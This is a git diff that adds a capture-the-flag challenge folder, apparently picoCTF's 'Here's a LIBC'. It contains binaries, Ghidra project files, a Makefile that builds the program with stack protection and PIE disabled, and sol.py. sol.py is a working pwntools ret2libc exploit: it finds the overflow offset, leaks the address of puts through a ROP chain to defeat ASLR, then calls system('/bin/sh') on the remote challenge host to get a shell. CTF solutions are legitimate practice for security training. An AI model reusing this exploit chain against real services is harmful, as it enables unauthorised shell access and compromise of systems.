diff --git a/heres_a_libc/.ghidra.test.lock~~ b/heres_a_libc/.ghidra.test.lock~~ new file mode 100644 index 0000000..e69de29 diff --git a/heres_a_libc/Makefile b/heres_a_libc/Makefile new file mode 100755 index 0000000..6a8d8a8 --- /dev/null +++ b/heres_a_libc/Makefile @@ -0,0 +1,5 @@ +all: + gcc -Xlinker -rpath=./ -m64 -fno-stack-protector -no-pie -o vuln vuln.c + +clean: + rm vuln diff --git a/heres_a_libc/core.148996 b/heres_a_libc/core.148996 new file mode 100644 index 0000000..a89c23c Binary files /dev/null and b/heres_a_libc/core.148996 differ diff --git a/heres_a_libc/heres_a_libc.gpr b/heres_a_libc/heres_a_libc.gpr new file mode 100644 index 0000000..e69de29 diff --git a/heres_a_libc/heres_a_libc.rep/idata/00/00000001.prp b/heres_a_libc/heres_a_libc.rep/idata/00/00000001.prp new file mode 100644 index 0000000..878a452 --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/idata/00/00000001.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/heres_a_libc/heres_a_libc.rep/idata/00/00000002.prp b/heres_a_libc/heres_a_libc.rep/idata/00/00000002.prp new file mode 100644 index 0000000..abd98b9 --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/idata/00/00000002.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/heres_a_libc/heres_a_libc.rep/idata/00/~00000001.db/db.2.gbf b/heres_a_libc/heres_a_libc.rep/idata/00/~00000001.db/db.2.gbf new file mode 100644 index 0000000..2cf99e4 Binary files /dev/null and b/heres_a_libc/heres_a_libc.rep/idata/00/~00000001.db/db.2.gbf differ diff --git a/heres_a_libc/heres_a_libc.rep/idata/00/~00000001.db/db.3.gbf b/heres_a_libc/heres_a_libc.rep/idata/00/~00000001.db/db.3.gbf new file mode 100644 index 0000000..45a6cb9 Binary files /dev/null and b/heres_a_libc/heres_a_libc.rep/idata/00/~00000001.db/db.3.gbf differ diff --git a/heres_a_libc/heres_a_libc.rep/idata/00/~00000002.db/db.1.gbf b/heres_a_libc/heres_a_libc.rep/idata/00/~00000002.db/db.1.gbf new file mode 100644 index 0000000..9ff6b9a Binary files /dev/null and b/heres_a_libc/heres_a_libc.rep/idata/00/~00000002.db/db.1.gbf differ diff --git a/heres_a_libc/heres_a_libc.rep/idata/~index.bak b/heres_a_libc/heres_a_libc.rep/idata/~index.bak new file mode 100644 index 0000000..fe1ce8a --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/idata/~index.bak @@ -0,0 +1,6 @@ +VERSION=1 +/ + 00000002:libc.so.6:19ef4b6e98915179083947600 + 00000001:vuln_patched:19ef4b6e74214007714427800 +NEXT-ID:3 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/heres_a_libc/heres_a_libc.rep/idata/~index.dat b/heres_a_libc/heres_a_libc.rep/idata/~index.dat new file mode 100644 index 0000000..fe1ce8a --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/idata/~index.dat @@ -0,0 +1,6 @@ +VERSION=1 +/ + 00000002:libc.so.6:19ef4b6e98915179083947600 + 00000001:vuln_patched:19ef4b6e74214007714427800 +NEXT-ID:3 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/heres_a_libc/heres_a_libc.rep/project.prp b/heres_a_libc/heres_a_libc.rep/project.prp new file mode 100644 index 0000000..9ad0e4c --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/project.prp @@ -0,0 +1,6 @@ + + + + + + diff --git a/heres_a_libc/heres_a_libc.rep/projectState b/heres_a_libc/heres_a_libc.rep/projectState new file mode 100644 index 0000000..3ddccd1 --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/projectState @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + diff --git a/heres_a_libc/heres_a_libc.rep/user/00/00000001.prp b/heres_a_libc/heres_a_libc.rep/user/00/00000001.prp new file mode 100644 index 0000000..018c7ab --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/user/00/00000001.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/heres_a_libc/heres_a_libc.rep/user/00/00000002.prp b/heres_a_libc/heres_a_libc.rep/user/00/00000002.prp new file mode 100644 index 0000000..4859eda --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/user/00/00000002.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/heres_a_libc/heres_a_libc.rep/user/00/~00000001.db/db.1.gbf b/heres_a_libc/heres_a_libc.rep/user/00/~00000001.db/db.1.gbf new file mode 100644 index 0000000..256cc9a Binary files /dev/null and b/heres_a_libc/heres_a_libc.rep/user/00/~00000001.db/db.1.gbf differ diff --git a/heres_a_libc/heres_a_libc.rep/user/00/~00000001.db/db.2.gbf b/heres_a_libc/heres_a_libc.rep/user/00/~00000001.db/db.2.gbf new file mode 100644 index 0000000..56963fd Binary files /dev/null and b/heres_a_libc/heres_a_libc.rep/user/00/~00000001.db/db.2.gbf differ diff --git a/heres_a_libc/heres_a_libc.rep/user/00/~00000002.db/db.1.gbf b/heres_a_libc/heres_a_libc.rep/user/00/~00000002.db/db.1.gbf new file mode 100644 index 0000000..d4715f4 Binary files /dev/null and b/heres_a_libc/heres_a_libc.rep/user/00/~00000002.db/db.1.gbf differ diff --git a/heres_a_libc/heres_a_libc.rep/user/~index.bak b/heres_a_libc/heres_a_libc.rep/user/~index.bak new file mode 100644 index 0000000..b776dc3 --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/user/~index.bak @@ -0,0 +1,4 @@ +VERSION=1 +/ +NEXT-ID:0 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/heres_a_libc/heres_a_libc.rep/user/~index.dat b/heres_a_libc/heres_a_libc.rep/user/~index.dat new file mode 100644 index 0000000..21c9d1f --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/user/~index.dat @@ -0,0 +1,6 @@ +VERSION=1 +/ + 00000001:udf_19ef4b6e74214007714427800:19ef4b6e74714020607205000 + 00000002:udf_19ef4b6e98915179083947600:19ef4b6e9ba15286089422300 +NEXT-ID:3 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/heres_a_libc/heres_a_libc.rep/user/~journal.bak b/heres_a_libc/heres_a_libc.rep/user/~journal.bak new file mode 100644 index 0000000..0d8dbca --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/user/~journal.bak @@ -0,0 +1,7 @@ +IADD:00000000:/udf_19ef4b6e72713942339862900 +IDSET:/udf_19ef4b6e72713942339862900:19ef4b6e73013958061907200 +IADD:00000001:/udf_19ef4b6e74214007714427800 +IDSET:/udf_19ef4b6e74214007714427800:19ef4b6e74714020607205000 +IDEL:/udf_19ef4b6e72713942339862900 +IADD:00000002:/udf_19ef4b6e98915179083947600 +IDSET:/udf_19ef4b6e98915179083947600:19ef4b6e9ba15286089422300 diff --git a/heres_a_libc/heres_a_libc.rep/versioned/~index.bak b/heres_a_libc/heres_a_libc.rep/versioned/~index.bak new file mode 100644 index 0000000..b776dc3 --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/versioned/~index.bak @@ -0,0 +1,4 @@ +VERSION=1 +/ +NEXT-ID:0 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/heres_a_libc/heres_a_libc.rep/versioned/~index.dat b/heres_a_libc/heres_a_libc.rep/versioned/~index.dat new file mode 100644 index 0000000..b776dc3 --- /dev/null +++ b/heres_a_libc/heres_a_libc.rep/versioned/~index.dat @@ -0,0 +1,4 @@ +VERSION=1 +/ +NEXT-ID:0 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/heres_a_libc/ld-2.27.so b/heres_a_libc/ld-2.27.so new file mode 100755 index 0000000..a2e3b9a Binary files /dev/null and b/heres_a_libc/ld-2.27.so differ diff --git a/heres_a_libc/libc.so.6 b/heres_a_libc/libc.so.6 new file mode 100755 index 0000000..5cb8ffa Binary files /dev/null and b/heres_a_libc/libc.so.6 differ diff --git a/heres_a_libc/sol.py b/heres_a_libc/sol.py new file mode 100755 index 0000000..819987f --- /dev/null +++ b/heres_a_libc/sol.py @@ -0,0 +1,61 @@ +#!/home/maxime/.pyvenv/bin/python3 + +from pwn import * + +exe = ELF("./vuln_patched") +libc = ELF("./libc.so.6") +ld = ELF("./ld-2.27.so") + +context.binary = exe + + +def conn(): + if args.LOCAL: + r = process(exe.path) + if args.DEBUG: + gdb.attach(r) + else: + r = remote("mercury.picoctf.net", 23584) + + return r + +def get_offset(): + os.system("rm core.* > /dev/null") + proc = process(exe.path) + payload = cyclic(150, n=exe.bytes) + proc.sendlineafter(b"WeLcOmE To mY EcHo sErVeR!\n", payload) + proc.wait() + offset = cyclic_find(proc.corefile.fault_addr, n=exe.bytes) + log.info("offset: {}".format(offset)) + return offset + +offset = get_offset() + +rop = ROP(exe) +rop.call("puts",[exe.got['puts']]) +rop.do_stuff() + +payload = flat({offset: bytes(rop)}) + +r = conn() +r.sendlineafter(b"WeLcOmE To mY EcHo sErVeR!\n", payload) +r.recvline() + +puts_addr = int.from_bytes(r.recvline(keepends=False), 'little') + +libc.address = puts_addr - libc.symbols['puts'] +log.info("libc address: {}".format(hex(libc.address))) + +rop = ROP(exe) +rop.call('puts', [exe.got['puts']]) +rop.call(libc.symbols["system"], [next(libc.search(b"/bin/sh"))]) + +payload = flat({offset: bytes(rop)}) +log.info("payload: \n{}".format(hexdump(payload))) + +r.sendline(payload) +r.recvline() +r.recvline() + +r.interactive() + diff --git a/heres_a_libc/vuln b/heres_a_libc/vuln new file mode 100755 index 0000000..93e6661 Binary files /dev/null and b/heres_a_libc/vuln differ diff --git a/heres_a_libc/vuln_patched b/heres_a_libc/vuln_patched new file mode 100755 index 0000000..7cbd43e Binary files /dev/null and b/heres_a_libc/vuln_patched differ